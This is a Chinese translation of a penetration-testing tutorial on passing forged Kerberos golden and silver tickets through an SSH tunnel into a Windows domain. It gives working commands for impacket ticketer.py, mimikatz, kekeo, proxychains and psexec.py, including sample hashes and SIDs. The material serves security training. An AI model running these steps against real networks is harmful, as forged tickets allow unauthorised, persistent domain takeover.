译者:二向箔安全
原文: How To Pass the Ticket Through SSH Tunnels

1. 前言

如果我们在渗透过程中能够拿到用户的 TGT,并能将其导入到内存,那么就可以冒充该用户获得其访问权限,这就是 Pass the ticket(PtT)。PtT 技术使用 Kerberos ticket 来代替明文密码或 NTLM 散列。大多数的 PtT 都用的是 golden ticket 和 silver ticket。通常来说,通过PtT 技术获得一台主机的控制权限是非常容易的,但是通过 ssh隧道的 PtT 攻击技术就较为复杂了。 曾经遇到过这样的情况:我们在没有特权 ssh 访问到 dmz 区中的一台带有内网连接的 linux 主机的条件下却意外地获得了目标的 krbtgt 和机器账户的 NTLM 散列值。这个网络拓扑大概是这样的:

当我们试图在网络分段的部分对一些敏感的主机进行域内划分的时候,可能就会遇到这种类似的情况,这篇文章我们将着重介绍如何通过 SSH 隧道 pass golden ticket 和 silver ticket。作为本文的一个示例,我们将尝试通过位于 10.0.10.81 的 Linux 主机来对 Windows 主机 win-rmjbtdb7qtf 进行攻击。

Golden Tickets

Golen Tickets(伪造的 TGT tickets )提供了攻击者一些用以长久化访问域控、在网络中进行跨域访问,以及作为不存在的用户去访问网络资源的方法。想了解 Golden Tickets 的详细信息的话,可以去看看这个:Kerberos Golden。攻击者只需要一台安装了 impacket 和 proxychains 工具的 linux 的主机,并且这台主机不需要加入域环境中。

2. 伪造 ticket

要创建一个 golden ticket ,通常我们需要从目标域获取到以下信息:

  1. krbtgt账户的nt哈希值
  2. 目标域的sid
  3. 目标域的fqdn(全称域名)
  4. 模拟的账户

我们将使用 impacket 的一个样例脚本 ticketer.py 来创建 golden tickets 的凭证缓存 (ccache) 文件。下面是为用户 mbroda 创建 ccache 文件的语法示例:

./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

为了使 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径:

export KRB5CCNAME=/path/to/ccache/file

验证变量是否设置正确我们使用下面的语句:

echo $KRB5CCNAME

现在,我们就可以使用-k参数让支持 Kerberos 身份验证的 impacket 脚本使用 golden tickets ,而不是去提供明文密码或 NT 哈希来进行身份验证。

3. 名称解析

为了确保 Kerberos 身份验证过程成功,我们需要修改攻击者机器 /etc/hosts 文件,以包含目标域控制器的 FQDN 和目标主机的 NetBIOS 名称。下面就是个修改的例子:

127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128  WIN-RMJBTDB7QTF

如果你还没有域控主机的 IP 地址,那么你可以通过 ssh 会话连接的 linux 在目标域上之执行 nslookup ,例如:

nslookup -type=srv _ldap._tcp.AMITY.LOCAL

4. 代理设置

我们将使用 proxychains 在 ssh 通道上来实现一个域内的漫游,检查配置文件的最后一行来验证 proxychains 代理的端口,kali 下配置文件默认位置是/etc/proxychains.conf

注意:如果您在执行攻击时遇到名称解析的问题,您可能需要在 proxychains 配置文件中对 proxydns 设置进行注释。

当我们通过 ssh 会话连接到目标的 linux 主机的时候,使用-D参数对应着 proxychains 设置的端口。这将在我们本地主机的端口上创建一个可以利用 proxychains 实现域内漫游的 socks 代理。例如:

ssh unpriv@10.0.10.81 -D 1337

为了验证代理通道的创建是否成功,我们可以通过 proxychains 代理 nmap 的 TCP 扫描方式扫描目标主机的445端口。

proxychains nmap -sT -Pn -p 445 192.168.26.128

5. 时间同步

如果攻击机的时间比目标域控距离快大约5分钟的话,golden tickets 就无法正常的工作。

如果真如以上所述,我们可以使用 net time 来检查目标的时间(下面的第1行),并在攻击者机器(第2行)上设置时间:

proxychains net time -S <IP-of-DC>
proxychains net time set -S <IP-of-DC>

6. 发起攻击

等一切都已准备就绪,我们可以使用任何支持 ccache 身份验证的工具来攻击目标主机。Impacket 的 psexec.py 就是这样一个工具,运行一下命令后将反弹回一个交互式的 CMD :

proxychains ./psexec.py mbrody-da@WIN-RMJBTDB7QTF -k -no-pass

如果你在攻击时遇到错误,检查相关的配置,并且使用 psexec.py 的 -debug 参数进行错误排除。

7. Silver Tickets

Silver Tickets(伪造的TGS Tickets)将用户认证为一个在主机上运行的服务,并为攻击者提供隐秘和持久的选项,这些是 golden tickets 所没有的。更多有关信息可以点击:文章

这次攻击需要一个 Linux 主机,安装有 Impacket 和proxychains,并且还有一台安装了 Mimikatzkekeo 的 Windows 主机。两个主机都不需要成为域成员。

8. 伪造 ticket

要生成一个 silver ticket ,我们需要以下信息:

  1. 目标主机账户NTLM散列值
  2. 目标主机的fqdn
  3. 目标服务
  4. 目标域的sid
  5. 目标域的fqdn
  6. 模拟的账户

在本例中,我们将通过 SMB 协议对目标主机进行身份验证,因此我们将使用 CIFS 服务,有人列出了一份普通的 spn清单 ,这个可以在 silver ticket 中使用。

在这个时候我们就不能用 ticketer.py 来生成我们的 silver ticket 。我们在准备好的 windows 主机上使用 mimikatz 来生成 silver ticket 的 kirbi 文件,接下来使用 kekeo 来将我们的 silver ticket 转化为 ccache 文件。

使用 Mimikatz 的 Kerberos模块 用如下命令生成 silver ticket:

kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

下面是为用户 mbroda 和 CIFS 服务创建 ticket 的示例:

kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs

退出 mimikatz ,并启动 kekeo ,使用以下语法将 kirbi 文件转换为 ccache 文件:

misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...

拷贝这个 ccache 文件到攻击的 Linux 主机。确保在 Linux 主机上记录这个文件的绝对路径;我们将使用这个路径去设置我们的 KRB5CCNAME 变量。接下来的工作就全是我们的 linux 主机完成的了。

9. 攻击过程

剩下的 silver ticket 攻击设置基本类似于 “golden ticket” ,但有两个例外。

首先,我们需要在/etc/hosts文件中提供目标主机的 FQDN ,而不是之前的 NetBIOS 名。对于我们的示例,/etc/hosts文件应该是这样的:

127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128  WIN-RMJBTDB7QTF.amity.local

第二个区别是我们需要将我们的攻击机的时间与目标主机同步, silver ticket 不需要与我们的目标域控进行通信。

遵循上面的步骤,设置 KRB5CCNAME 变量,检查 proxychains 配置,建立 SSH 隧道做 socks 代理,并使用 nmap 验证代理可用。我们现在可以通过目标主机的 fqdn 使用 psexec.py 脚本进行攻击了。

proxychains python psexec.py mbrody-da@WIN-RMJBTDB7QTF.amity.local -k -no-pass

10. 小结

Golden ticket 和 silver ticket 技术为攻击者提供了持续和隐秘的技术,但是都需要向目标主机转发连接来实现这一目的。当攻击者在域渗透时可能发现自己有了一些 ssh 权限,但是却只能通过 Linux 主机间接到达目标主机,在这些场景中,可以通过 proxychains 挂代理通过 SSH 隧道执行 PtT 攻击。这篇文章介绍了使用 psexec.py 在目标主机上发起攻击的情况,其实其他任何支持-k参数的任何有效脚本都可以进行攻击。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/321/